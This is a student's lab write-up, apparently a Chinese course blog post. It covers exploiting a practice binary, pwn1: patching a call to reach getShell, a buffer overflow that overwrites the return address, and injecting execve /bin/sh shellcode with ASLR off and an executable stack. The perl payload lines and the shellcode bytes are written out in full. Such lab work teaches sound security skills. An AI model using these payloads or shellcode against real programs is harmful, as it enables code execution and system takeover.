20192429马一

导航

 

20192429马一 2021-2022-2 《网络与系攻防》实验一

一、实验目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

二、实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
  • 攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    注入运行任意代码

三、实验步骤及基本操作

3.1

3.1.1反汇编

  • 输入objdump -d pwn20192429 | more对pwn20192429文件进行反汇编,并分页显示。
    qwnOzQ.png
  • 此时输入/getShell可以快速锁定到getShell函数、foo函数和main函数。

3.1.2 修改汇编指令

  • main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址
  • 所以call指令对应的机器指令应改为e8 c3 ff ff ff。

3.1.3 修改可执行文件

  • :%!xxd
    qwuyOs.md.png
  • 修改完成后如下:
    qwu8QH.md.png

3.1.4 运行修改后的可执行文件

qwu5pF.md.png

可以看出功能发生了变化

3.2 通过构造输入参数,造成BOF攻击,改变程序执行流

3.2.1 反汇编了解漏洞

  • 输入objdump -d pwn20192429 | more对pwn20192429文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞
  • 系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

3.2.2 确认字符串的哪几个字符会覆盖

qwujfO.md.png

程序发生段错误

3.2.3 确认用什么值来覆盖

  • 之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08

3.2.4 构造字符串

  • perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    qwKQ7q.md.png

3.2.5 实现攻击修改

qwK3NV.md.png

3.3 注入Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
准备这样一段字符串

3.3.1 准备工作

qwKy9O.png

apt-get install execstack安装execstack。 添加管理员权限 设置堆栈可执行 查询文件的堆栈是否可执行 关闭地址随机化

3.3.2 构造要注入的payload

  • linux下由两种基本构造攻击buff的方法:
    retaddr+nop+shellcode
    nop+shellcode+retaddr
    nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
  • 使用输出重定向将perl生成的字符串存储到文件input_shellcode中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
最后一个字符不能是\x0a,因为下面要进行调试,不能输入回车。

3.3.3启动GDB调试程序

qwMJat.md.png

  • 可以看到进程号为5359
    输入attach 5359启动gdb调试这个进程
    输入disassemble foo查看到ret的地址为0x080484ae
    输入break *0x080484ae在0x080484ae处设置断点
  • 查看栈顶指针
    qwMRRU.md.png

3.3.4 修改指令完成攻击

perl -e 'print "A" x 32;print "\x40\xf1\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xf1\xff\xbf\x00"' > input_shellcode

  • 得到结果如下:
    qwMqJK.md.png

四、问题分析

4.1 Kali Linux E:Unable to locate package

  • 具体问题解决办法可以参考此链接

4.2 输入ps -ef | grep pwn20192429时,缺少./pwn20192429进程

  • 在这一步运行的时候,没用gdb调试之前千万别输入回车键!!!

4.3 ESP寄存器

  • ESP专门用作堆栈指针,被形象地称为栈顶指针,存放当前线程的栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节

4.4 EIP寄存器

  • EIP寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行
posted on 2022-03-26 23:54  20192429马一  阅读(88)  评论(0编辑  收藏  举报